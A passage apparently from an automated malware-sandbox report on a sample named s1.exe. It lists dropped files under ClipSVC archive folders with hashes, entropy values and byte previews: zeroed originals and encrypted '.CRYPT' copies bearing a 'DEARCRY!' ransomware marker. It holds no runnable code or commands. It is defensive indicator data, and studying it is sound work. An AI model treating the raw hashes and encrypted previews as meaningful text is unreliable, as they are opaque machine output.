                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\52a7e8cc-4b89-0eb8-5b4c-0f924bfc3949.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3832
                                                              Entropy (8bit):7.9501102261971495
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:17DBE39B2C8ACECE9AADFAB2BE074E34
                                                              SHA1:ECF17FDB16C177FC959E5B71E1F1979A6D25E878
                                                              SHA-256:A67FF621B076B8CB2A2CBB5371044B49A2DABA999D703C2950DDFD265D4AB0FA
                                                              SHA-512:A56599BD60D0F8082C7BA0A46E3A38A73B9F85229ECF25397A2DCB42A9AA1D6764674D151887178DFABD5E396011BCDDF6B4EBABC7966CE7D50FD301EE5B1777
                                                              Malicious:false
                                                              Preview: DEARCRY!....T...f._..D..&....R.{.....}...b...`.#..,.......gS..W.hL.-.@@Ly.%..0..9.O~nz.m..y..|6S........!....%Xi.=z.6..O.....8...Ul..]S.6.c..O....c.".b}X<..}(.....6)|.u:..N.y..<...B.`.XcF.H........F....1...\...A...7.b.j:-.m-yu.......K*aO..%......Z...................BG$..M.f=\7...X_..CWCH.\..:Zp...>...f.W2.u.P.c.../.../.T..t14/q....#.....+..8.P.......OE..d.t.....8...I...n..=.....X.....e..*.5..j..8.~.*DP..Qd.@...g...o7.../..A..~...2...E#A....L.LP R.....y...>.#^..<.X....=.\.c.C.c*.1...p.....o.....n..+.....X../]..,.C.8........f'D.#....70.../...>.o\].g1Z.....U.7.T.i5..Q..H.-4Y%.g|..j.'..a....e.#..K...e.m4....q.Y...^....9.S@..y.r.^..C.27...<.p...%....(`...`"!....vm%.>.d_W.B3...\{f.E....r...s..{_w...%...23pS"...K....p.......9..-r.|..9"..........\.bi.1..].......>...0..b]D..+...h.9....a[.% .........k...!....oK"...9..`;'q.^..B.N.ee...q........IO.....i#...l.....&.e..:>i.O.l.....V..7...p..l'..c..H..r..H.1.1I....!.1.....Y.....Q..M....vQ.D8,{h
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\5390be10-79b5-dc50-bb32-91842c76e607.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2625
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:EA1650A91BC9D576FCC20C103EEF40FD
                                                              SHA1:1C96CAB7BE8CCE0EA9608EC18F113C8FC3709E94
                                                              SHA-256:C535CFBAD39AA1E282E3D7A4653E40ED45FACBB692B9217A178C568E37374EF5
                                                              SHA-512:79A77177D8C8ACA59098C7797BF2BE5C8256DD37ADA64C8A6AD03DE1A486BF95C38A31FB591F4588D69A6025AB22C96E0365140CEAE38F3D8E30CE297AF59E73
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\5390be10-79b5-dc50-bb32-91842c76e607.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2920
                                                              Entropy (8bit):7.929752050801413
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3AD97CC29298AA30EF715859E785A365
                                                              SHA1:C5E80369D630C7D2B8B54470C165A0CA08926C84
                                                              SHA-256:0439310E2E57858E7B637147F3A5D67EE615B2B5A01A641BC8DBEB4B9EE8CA56
                                                              SHA-512:CB28CD13C2FA6A7D1BF050DFE700D7594CC7D72DF9E76144D124A2616724990FD1A75467C9C5F2EBCB6E5629033599409FF342DC8C09613DF1A82FDBFBC52DED
                                                              Malicious:false
                                                              Preview: DEARCRY!....*}<W...o..P.$.SW..Z"Wg...X.E.f.fs_d....s;.....Ks....BQ.&.2./.Al.Z..{.F2......F0..^'f.7.3*.}.s..9...I+3&&f..3..T..._1.h..^..y...-:....~.:pe..S.5)*...3.B..2.>R.(.....yE....tR.c..n....)..z._....!..E.h.hN.....h."t..%.......>..A...=.t*....d!...h..)....A...............+.>....Z^...a.(...s....@Tdp.4z..P.....Y..c(....O.k......%.4.>....)-r?..M`{G...p)/.....U...FM..yf...l.....S!"^LJ....L3.x._..Y.........~.,..O...4.'..;r.\a..(q.u.......4Cqe..sa..Vg..9>5.....h..h.....!-. 2l.oUo.../....n...A....=..C.....O....%...D.uo....8.9@G.....h...y..g...'..c:.^.!...&........0.6.....*..#..q..j ...:......D..<.Y.q....Cu.0......9...^.....l....4,>..{GO.Q.zb}.............D'..h:.`...TZ.Z..Q^.`}xP~.b .....J..q.c\..[._&..d..<:..`.C/..g.......R........J.2.=>s.T....%.....!._K......B..F.}...U~....F...C.......[`.RA...0"...+.d..t..!.%Uo...w.i>.D...#,.._.w].4bF..@..K.X...M...l.......;.K......d...2.7......v.v......#0.K..;ktAO..4@.../r...E.C..FA73.r...O..>..'.
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\5b0a39aa-16e0-a938-f694-656664c7be15.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2628
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:9C5FA1BD9761D707D35D08C11DBBCF81
                                                              SHA1:7FB256187645542C9DDE8FABBBAEEABFD9D61A86
                                                              SHA-256:A068270D21F9287D0E04DB7B478E8794A5A66F084234A06EAEC418875B4520AB
                                                              SHA-512:D67F7EFEC6E56E933EC52F620366C87A77AF47A55B58EB885C03C34ED73922CAFA37335D3B6BACA9778688551DEAFA483E524CD5D92F67BC5C2F4FF5A8A79C99
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\5b0a39aa-16e0-a938-f694-656664c7be15.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2920
                                                              Entropy (8bit):7.922388981073516
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5050172597D0AF8EE408B350786F5208
                                                              SHA1:24E39DB1BFC201B87C60AC9D6E6D8597356280CD
                                                              SHA-256:7A571A078C43D9CBBE1D773D511CFC900AD9BC78B4876B79BAFCB613D916FCA0
                                                              SHA-512:141FD1437CF4B7D8E495D48150354F0297D5F7DCBFC734CAD185A23F36F6F6BA349E8BC709A1848DD7518B65765E9DFF93FCBBE2C64CF6B12650E6C31FD55A89
                                                              Malicious:false
                                                              Preview: DEARCRY!....e...)...0"..L..Zp...V%C....c>M[.......3...,.M..d......."JI...n.............gjn....m......p...$..@.Y?..l.{E...:P..%.c..........M[.V.R.^..`..U.R.[.......P..R.<v...........L,...}..#.4.....w.F|.....&..6.J..T~.D......}r*Z!:...h.....?m...S>.W..C.....D........sTG..t~.P..{..1"N......5.y....s...pdX.q.|,.U^U...O...'f ..$...<c..CRS..G.).?.K>..-..\.A_V..m..........4.y.....V.+4..&%.?.....iV........S..\....3..P... ..........R....... 0^!]...P...)...&#p..i.!s.H..|.Y...0...|\..$Pc~u{.3..C..:.N.L..kU..'...<......I....M.l.....mz...M...YW.%....).e....2K..;.z...eB.....'w/I!...U..].h..P.[......H..&...T.A.s..iq.DTL........ruN6s...L....."h;.Y........E.6'$O..N..Ar..~./..3....DA3.yf..5*..p.)}.-..<9......f.T.,.:....u..$w.. .e...\..&....l.F....R..K.By2.9...A......N.SM.....ElL..._}...*.-..TP.3.....6...3Z.-.nw..y....0(N8.y....../:..^.....-..S..b;..>B&HDN.8.bu.{rt. r......K....'........B...Ns.HS.n.{{..S..V...AS..n..{...^.Jxz.v.....EG}.e... !
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\600364a7-e11c-efda-2c12-eac40e75f19a.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3189
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:BB79C0520E82322383B75D4B51C64645
                                                              SHA1:4923BC1085F6FCBFC9474868F09A90D367ED424D
                                                              SHA-256:73CC6935B31077B11DA8479526DF1A3DE4254B50A218BC013B7DA8395A93A4CE
                                                              SHA-512:C4AC1706B7998D56EC44AB9B47FE0531B492BCAAD29294992D3D845DA7AC977D2FC61309A7D461E1E75C9F096CA36E610042CC3E16DFDAAEDDA7501C500E343A
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\600364a7-e11c-efda-2c12-eac40e75f19a.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3480
                                                              Entropy (8bit):7.94099012094575
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C609CD7714A783B2D2F20DB7111F854D
                                                              SHA1:43665A8DA26C464B189844B1E6213919F874F752
                                                              SHA-256:67F715D3412532D5CA5581E690E1F4143A4AA052477A6A4CA05C8BD3514FE504
                                                              SHA-512:A8A0AB182E97A1B311A1EB7C3812E1A29D028AE76C019DA0E3A1D066635753424F0F5B5515394237A6EF7897D8FABFAD9671C917001031F856619B151BA91BCA
                                                              Malicious:false
                                                              Preview: DEARCRY!......e...w.....;q..R.p.I.J..9.S.x.....;....u.*...o....-...e.|.o..d...N....1..q.C2..2...{}.0..m.iL..e.:@k..Pn.9..$..9.......=..-..J......D.......y..>..0AU.;.MtQ!.....2.....C..q/Y.....|.I..w2....J_.>.....o..p$b...g........p....kO.s.Hz.s...B=5f....u..........P....N....#.......Ni.........fb.t..VC.YoVn...iQ/..S.QV.=!.x....9..Xg!..+aV......d.m.yI.....^Y.1..48.fHp.q.).. R...>u.o.B.z....R.;0.......D..sL..<..h.o5Gp.....&.^..u...)..U..V8+...ZX0.y..0v.D....:.e........v...-.h#....=V.=T...j....R93....5.....?...:..E.Z.G..$.....S.^\n...C.o.6....%.....L<.A..bz......:P.....c[v...tX.u.kH..>'..v.~...S.P.P.m...i..j.O.......4gG(...F<.R+...~...[.(.|..Y.?T=...u..#n.".....dAiOj.f.F9P..&Y....B....%...g.q..o...,T.q..<..9.p.3.=P._0.id..N....M..E....r.N=.....l......6.@q................F...w../..].'P...l55..o.......".%O...~[?F....I. C(L...#..O..o...4S......W.;.[..Q.......h!u..<..&...\Z.g,..Jyf....>.Sr=G..;T....M.I ..3mG;u.Y...f.[.Xh...D.M..aEAkl..D\..Gq..
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\600f46b0-7173-cdd3-5efb-2bf110ef230c.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2756
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CB50F2B52BB2F8EB1947B1FFA359A2C1
                                                              SHA1:04D5A601789EBDE8953B4E4233BD79425995F3CC
                                                              SHA-256:DC15CBA2DE34B9ECE60F9A3BCEBF7EC2D2BD8DE906720095E696845B7ABC5B49
                                                              SHA-512:B995C63BCB1EC8FDE8C5847294FA69536E331551ACE281BC5F1017AC0DCAD2BB10E5CACF262D917EEB1EF27D5C27BBCB37CA76D0BAF6E857D6FA10179CA4CC01
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\600f46b0-7173-cdd3-5efb-2bf110ef230c.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3048
                                                              Entropy (8bit):7.944880518462132
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:BB811FC485B4C34B7F7C10D723D8D824
                                                              SHA1:A7A1C246ADD0C790F8CEFDBD3320F7545555F958
                                                              SHA-256:7B256FD6E35B6D31FC83E4D84ACECE3A6BCCF97BB38858A5CAD391A8019689B1
                                                              SHA-512:AFCD7877BCC17706C6040A167380516DFAC834E5C3F82B4A83A945B734302AD23CA76E03744967F4A939FD350EE12E5DCA0EFA4E4EE06A330E041F9F9E98F358
                                                              Malicious:false
                                                              Preview: DEARCRY!....~.n.^a....A.....w...i$C.#...S8.M.LO.....H......]....0S{$..V....w..p...."...c)...&+.f..:..S..X.i...vT.%=...-r..A....>.3........$Q..>........1~.q.Bs..Q.~.,....B.G...-...J.t...R..u......E.-...P..AX..l..P.r.d..C..cO,o....i..........c....rw...8.}..............*..._p.W..s.....F.<a..n..B...k.B.+...S.-..8..v....B#..;....\:E........I=4.)a.s....B....[]....<....w....z........]d.x....._.._.D%Z%.zi..'.y....`s..q....zH>..`. ........d6q.........z..D.Xv^.HVaw<.2.....{....Y.lJ..s.896..t0.`.{....]-...U..t.3...N.)....q.,..S...c=.....!(5OS|..w...cX.2...;..W....f.4..{#x.D..P.............o..!.6.*g.V.#@.@E.'.....-N... .&..+.U\,N}\...6..f....z.I..x."...P_.....w.8.S.$..K47..M.....`^6eo...g....e.....!.)H....!..D......d..'.....}...O.d.:...w...:.p..5..0KJ.3fHw.....Y.6Hj....4.p.S...L...o'S..}/.ax..I...slH.$.).n6..g.L.0z.2..D^A..}.....k..:.o.H.....6......[.3....bOk.)...=eZ.....'...J...^m..&.F1.5l.0..^-...Bx.0.vs.G\5SN".j.o.T!.....V/.to..@.......Q<..
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\61b5bd89-4cb0-db77-6622-cb63b5a58080.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3202
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B78B7C0D4A6955DC5A8893B981BD0A50
                                                              SHA1:457B4B6B200F983CA6AF0F63B2817FA4E3CD750D
                                                              SHA-256:B50FE11B2E6CF01962BB2CD063B6FB71DE4C301074339698A2417FF0F089EA6A
                                                              SHA-512:FEE744E82BACA1CA88CA794B85B08A87F94619FFB45F2234AC36469C4366E521624629A6E7D44A0D17564D4C212C6784A79D3C9B84CF2C7C3653DCE95443B7C9
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\61b5bd89-4cb0-db77-6622-cb63b5a58080.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3496
                                                              Entropy (8bit):7.94515226683063
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0F9A75EBD85F1BEC65CE90731DE2B132
                                                              SHA1:F6D6585A620335E827D7DEBBED056A75C02A2638
                                                              SHA-256:80E4513D46E3ED2D7059EBCE38D73AFE88E0860A47592E11507A565307A321ED
                                                              SHA-512:549B58F3C28B9AD37CB108405A643CBD83E25244E03CE9DC0778E985A51EC7952E7578C57E30458B81F02ACCD7D43993A63EED55832B65006CCE0465709924AB
                                                              Malicious:false
                                                              Preview: DEARCRY!.....p.&s....B.....pqF...c......Y.l....a.v...9.XTp...:4..j{.9.MB.T.-F..`r6.....................v......(.z)....5.K...?..R.u..N9sp.mjAC......0?..}Lz.Z..{PRJ8.#..]..A..M.o.@.^o....Os......c.IwD.)m..b1.GR4...u#T.F....... ...C.^_.,..{...{..g....x.G................#._...,.,._........[..eo....=..\....*..Su.kocQ7lF]......a..>.vs.j..n;h.ch.T....x.....A.,.j.......>.x.....>-K.......@...1.1g...m....i=.#|dk&....Q...7h..9...QN../.. ..R....~RD.....u.).Etr3.J.Y.e.R'"E...G..F C$^|..+.,Q.gS.....~..|.....b..)..#.|....~....w........^0Q.y7..l._.NK....$.....E,.Zc%..%..<k8..+..._..B2.E.V.s..0..U..~Nt.v.C.x..3.&$..MH#Z,.j...2q}........T......M.5K{....R1....{,0Q.l...`....[x...R.3.?Fo...A1..l.Mnx...R..<..;I6.8...... U..M)..KM.>.......3..NF...K~...Ku.J..|M....%....{Hgvc3`..+...A&.P..(mC.w.?...6..Mc[..da.^..g.=w.I...r.5g.f.w5.........R..b.\...r.k.CoR.^$.K..&.p#/7...m...U.B.....#..Y-z...5..T.u.&.lR.`..).z.V>.0.^j2.\Jp.P...x.a.......c4j6..Tx..b.x.&.%J.....l...w`..a..$
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\630a70e7-1832-4f42-e2a2-5d35fdddc45f.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3223
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0C8DC63ADE170DADA451FE043E1EB78B
                                                              SHA1:CCBB0B50BD1CEC62DD1693B8D315B73511182775
                                                              SHA-256:E41883E6857FAF47488896083EB493FC3276FC14020D99A08C3C6DB694BD06F7
                                                              SHA-512:58BD0AEDCDA5C57AC0DBEA1A1B150A323D277F9EFF7557906F12BC7A700F3F9AEE9A8EA35542E4BE6D2BA0A09AC4BDB7DBFEE2DBFD86C7E357932716BE529B50
                                                              Malicious:false
